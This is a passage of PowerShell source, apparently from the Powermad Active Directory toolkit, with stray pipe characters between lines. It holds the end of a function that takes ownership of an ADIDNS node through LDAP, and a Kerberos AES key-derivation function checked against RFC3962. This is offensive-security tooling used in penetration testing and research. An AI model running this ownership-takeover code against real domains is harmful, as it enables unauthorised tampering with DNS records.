|
|
||
|
}
|
||
|
|
||
|
if(!$DomainController)
|
||
|
{
|
||
|
$DomainController = $current_domain.PdcRoleOwner.Name
|
||
|
Write-Verbose "[+] Domain Controller = $DomainController"
|
||
|
}
|
||
|
|
||
|
if(!$Domain)
|
||
|
{
|
||
|
$Domain = $current_domain.Name
|
||
|
Write-Verbose "[+] Domain = $Domain"
|
||
|
}
|
||
|
|
||
|
if(!$Zone)
|
||
|
{
|
||
|
$Zone = $current_domain.Name
|
||
|
Write-Verbose "[+] ADIDNS Zone = $Zone"
|
||
|
}
|
||
|
|
||
|
if(!$DistinguishedName)
|
||
|
{
|
||
|
|
||
|
if($Partition -eq 'System')
|
||
|
{
|
||
|
$distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
|
||
|
}
|
||
|
|
||
|
$DC_array = $Domain.Split(".")
|
||
|
|
||
|
ForEach($DC in $DC_array)
|
||
|
{
|
||
|
$distinguished_name += ",DC=$DC"
|
||
|
}
|
||
|
|
||
|
Write-Verbose "[+] Distinguished Name = $distinguished_name"
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$distinguished_name = "DC=$Node," + $DistinguishedName
|
||
|
}
|
||
|
|
||
|
if($Credential)
|
||
|
{
|
||
|
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
|
||
|
}
|
||
|
|
||
|
try
|
||
|
{
|
||
|
$account = New-Object System.Security.Principal.NTAccount($Principal)
|
||
|
$directory_entry.PsBase.ObjectSecurity.setowner($account)
|
||
|
$directory_entry.PsBase.CommitChanges()
|
||
|
|
||
|
}
|
||
|
catch
|
||
|
{
|
||
|
Write-Output "[-] $($_.Exception.Message)"
|
||
|
}
|
||
|
|
||
|
if($directory_entry.Path)
|
||
|
{
|
||
|
$directory_entry.Close()
|
||
|
}
|
||
|
|
||
|
return $output
|
||
|
}
|
||
|
|
||
|
#endregion
|
||
|
|
||
|
#region begin Miscellaneous Functions
|
||
|
|
||
|
function Get-KerberosAESKey
|
||
|
{
|
||
|
<#
|
||
|
.SYNOPSIS
|
||
|
Generate Kerberos AES 128/256 keys from a known username/hostname, password, and kerberos realm. The
|
||
|
results have been verified against the test values in RFC3962, MS-KILE, and my own test lab.
|
||
|
|
||
|
https://tools.ietf.org/html/rfc3962
|
||
|
https://msdn.microsoft.com/library/cc233855.aspx
|
||
|
|
||
|
Author: Kevin Robertson (@kevin_robertson)
|
||
|
License: BSD 3-Clause
|
||
|
|
||
|
.PARAMETER Password
|
||
|
[String] Valid password.
|
||
|
|
||
|
.PARAMETER Salt
|
||
|
[String] Concatenated string containing the realm and username/hostname.
|
||
|
AD username format = uppercase realm + case sensitive username (e.g., TEST.LOCALusername, TEST.LOCALAdministrator)
|
||
|
AD hostname format = uppercase realm + the word host + lowercase hostname without the trailing '$' + . + lowercase
|
||
|
realm (e.g., TEST.LOCALhostwks1.test.local)
|
||
|
|
||
|
.PARAMETER Iteration
|
||
|
[Integer] Default = 4096: Int value representing how many iterations of PBKDF2 will be performed. AD uses the
|
||
|
default of 4096.
|
||
|
|
||
|
.PARAMETER OutputType
|
||
|
[String] Default = AES: (AES,AES128,AES256,AES128ByteArray,AES256ByteArray) AES, AES128, and AES256 will output strings.
|
||
|
AES128Byte and AES256Byte will output byte arrays.
|
||
|
|
||
|
.EXAMPLE
|
||
|
Get-KerberosAESKey -Password password -Salt ATHENA.MIT.EDUraeburn -Iteration 1
|
||
|
Verify results against first RFC3962 sample test vectors in section B.
|
||
|
|
||
|
.EXAMPLE
|
||
|
Get-KerberosAESKey -Salt TEST.LOCALuser
|
||
|
Generate keys for a valid AD user.
|
||
|
|
||
|
.LINK
|
||
|
https://github.com/Kevin-Robertson/Powermad
|
||
|
#>
|
||
|
|
||
|
[CmdletBinding()]
|
||
|
param
|
||
|
(
|
||
|
[parameter(Mandatory=$true)][String]$Salt,
|
||
|
[parameter(Mandatory=$false)][System.Security.SecureString]$Password,
|
||
|
[parameter(Mandatory=$false)][ValidateSet("AES","AES128","AES256","AES128ByteArray","AES256ByteArray")][String]$OutputType = "AES",
|
||
|
[parameter(Mandatory=$false)][Int]$Iteration=4096
|
||
|
)
|
||
|
|
||
|
if(!$Password)
|
||
|
{
|
||
|
$password = Read-Host -Prompt "Enter password" -AsSecureString
|
||
|
}
|
||
|
|
||
|
$password_BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($password)
|
||
|
$password_cleartext = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($password_BSTR)
|
||
|
|
||
|
[Byte[]]$password_bytes = [System.Text.Encoding]::UTF8.GetBytes($password_cleartext)
|
||
|
[Byte[]]$salt_bytes = [System.Text.Encoding]::UTF8.GetBytes($Salt)
|
||
|
$AES256_constant = 0x6B,0x65,0x72,0x62,0x65,0x72,0x6F,0x73,0x7B,0x9B,0x5B,0x2B,0x93,0x13,0x2B,0x93,0x5C,0x9B,0xDC,0xDA,0xD9,0x5C,0x98,0x99,0xC4,0xCA,0xE4,0xDE,0xE6,0xD6,0xCA,0xE4
|
||
|
$AES128_constant = 0x6B,0x65,0x72,0x62,0x65,0x72,0x6F,0x73,0x7B,0x9B,0x5B,0x2B,0x93,0x13,0x2B,0x93
|
||
|
$IV = 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
|
||
|
$PBKDF2 = New-Object Security.Cryptography.Rfc2898DeriveBytes($password_bytes,$salt_bytes,$iteration)
|
||
|
$PBKDF2_AES256_key = $PBKDF2.GetBytes(32)
|
||
|
$PBKDF2_AES128_key = $PBKDF2_AES256_key[0..15]
|
||
|
$PBKDF2_AES256_key_string = ([System.BitConverter]::ToString($PBKDF2_AES256_key)) -replace "-",""
|
||
|
$PBKDF2_AES128_key_string = ([System.BitConverter]::ToString($PBKDF2_AES128_key)) -replace "-",""
|
||
|
Write-Verbose "PBKDF2 AES128 Key: $PBKDF2_AES128_key_string"
|
||
|
Write-Verbose "PBKDF2 AES256 Key: $PBKDF2_AES256_key_string"
|
||
|
$AES = New-Object "System.Security.Cryptography.AesManaged"
|
||
|
$AES.Mode = [System.Security.Cryptography.CipherMode]::CBC
|
||
|
$AES.Padding = [System.Security.Cryptography.PaddingMode]::None
|
||
|
$AES.IV = $IV
|
||
|
# AES 256
|
||
|
$AES.KeySize = 256
|
||
|
$AES.Key = $PBKDF2_AES256_key
|
||
|
$AES_encryptor = $AES.CreateEncryptor()
|
||
|
$AES256_key_part_1 = $AES_encryptor.TransformFinalBlock($AES256_constant,0,$AES256_constant.Length)
|
||
|
$AES256_key_part_2 = $AES_encryptor.TransformFinalBlock($AES256_key_part_1,0,$AES256_key_part_1.Length)
|
||
|
$AES256_key = $AES256_key_part_1[0..15] + $AES256_key_part_2[0..15]
|
||
|
$AES256_key_string = ([System.BitConverter]::ToString($AES256_key)) -replace "-",""
|
||
|
# AES 128
|
||
|
$AES.KeySize = 128
|
||
|
$AES.Key = $PBKDF2_AES128_key
|
||
|
$AES_encryptor = $AES.CreateEncryptor()
|
||
|
$AES128_key = $AES_encryptor.TransformFinalBlock($AES128_constant,0,$AES128_constant.Length)
|
||
|
$AES128_key_string = ([System.BitConverter]::ToString($AES128_key)) -replace "-",""
|
||
|
Remove-Variable password_cleartext
|
||
|
|
||
|
switch($OutputType)
|
||
|
{
|
||
|
|
||
|
'AES'
|
||
|
{
|
||
|
Write-Output "AES128 Key: $AES128_key_string"
|
||
|
Write-Output "AES256 Key: $AES256_key_string"
|
||
|
}
|
||
|
|
||
|
'AES128'
|
||
|
{
|
||
|
Write-Output "$AES128_key_string"
|
||
|
}
|
||
|
|
||
|
'AES256'
|
||
|
{
|
||
|
Write-Output "$AES256_key_string"
|
||
|
}
|
||
|
|
||
|
'AES128ByteArray'
|
||
|
{
|
||
|
Write-Output $AES128_key
|
||
|
}
|
||
|
|
||
|
'AES256ByteArray'
|
||
|
{
|
||
|
Write-Output $AES256_key
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
#endregion
|